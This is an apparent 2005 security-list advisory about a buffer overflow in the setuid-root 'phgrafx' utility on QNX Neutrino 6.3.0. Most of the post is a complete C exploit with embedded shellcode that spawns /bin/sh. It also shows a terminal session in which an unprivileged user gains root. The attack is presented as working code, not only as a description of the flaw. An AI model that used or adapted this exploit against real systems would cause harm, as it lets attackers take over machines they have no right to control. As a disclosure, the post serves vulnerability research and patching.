possible privilege escalation on QNX Neutrino 6.3.0

[pasquale minervini <minervini@xxxxxxxxxxxxxxx>]

a buffer overflow vulnerability in the utility "phgrafx" included in the
QNX Neutrino Realtime Operating System can potentially be exploited by malicious
users to escalate their privileges (by default the application is suid and 
owned by root).

example:

qnx$ uname -a; id
QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)
qnx$ gcc phex.c -o phex -W
qnx$ ./phex
shellcode length: 21
address: 0x8047a2c
Warning: can not find palette under '5°|ØHæ1°'.
# id
uid=6(deadbeef) gid=1(bin) euid=0(root) groups=0(root),3(sys),4(adm),5(tty)
#

source:

/* 
 * minervini@xxxxxxxxxxxxxxx (c) 2005, all rights reserved.
 * sample exploit for phgrafx on QNX 6.3.0 x86
 * 
 * tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
 */ 

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <err.h>

#ifndef _PATH
# define _PATH ("/usr/photon/bin/phgrafx")
#endif

#ifndef _RET_INIT
# define _RET_INIT (864)
#endif

/* thanks to my friend pi3 that suggested me to call a libc
 * function to make the shellcode way shorter than it was */

char scode[] = "\x31\xc0"       // xor    %eax,%eax
  "\x50"                        // push   %eax
  "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
  "\x54"                        // push   %esp
  "\xbb\xEF\xBE\xAD\xDE"        // mov    $0xDEADBEEF,%ebx
  "\xff\xd3";                   // call   *%ebx

unsigned long get_sp (void) {
   __asm__ ("movl %esp, %eax");
}

int main (int argc, char **argv) {
   
   int i, slen = strlen (scode), offset = 0;
   long ptr, *lptr, addr;
   char *buf;
   void *handle;
   
   handle = dlopen (NULL, RTLD_LAZY);
   addr = (long) dlsym (handle, "system");
   
   for (i = 0; i < 4; i++) {
      char temp = (*((char *) &addr + i) & 0xff);
      if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {
         puts
           ("currently system()'s address contains bytes like 0x00, 0x09 or 
0x0a, so it probably won't work since"
            " the application seems to truncate those bytes. BTW you can rely 
on functions like exec*(), spawn*()"
            " or MsgSend*() to get this working.\n"
            "more at 
http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/";);
         return (-1);
      }
   }
   
   memcpy((char *)&scode + 0xf, &addr, 4);
   
   if (argc > 1)
     offset = strtoul(argv[1], NULL, 0);
   
   if (!(buf = (char *) malloc(1032)))
     err(1, "malloc()");
   
   memset(buf, 0, 1032);
   
   for (i = 0; i < (_RET_INIT - slen); i++)
     buf[i] = 'A'; // inc %ecx
   
   printf("shellcode length: %d\n", slen);
   
   for (i = (_RET_INIT - slen); i < _RET_INIT; i++)
     buf[i] = scode[i - (_RET_INIT - slen)];
   
   lptr = (long *) (buf + _RET_INIT);
   
   printf("address: 0x%lx\n", ptr = (get_sp () - offset));
   
   for (i = 0; i < ((1024 - _RET_INIT) / 4); i++)
     *(lptr + i) = (int) ptr;
   
   execl(_PATH, "phgrafx", buf, NULL);
   
   return (0);
}

-- 
p. minervini, minervini@xxxxxxxxxxxxxxx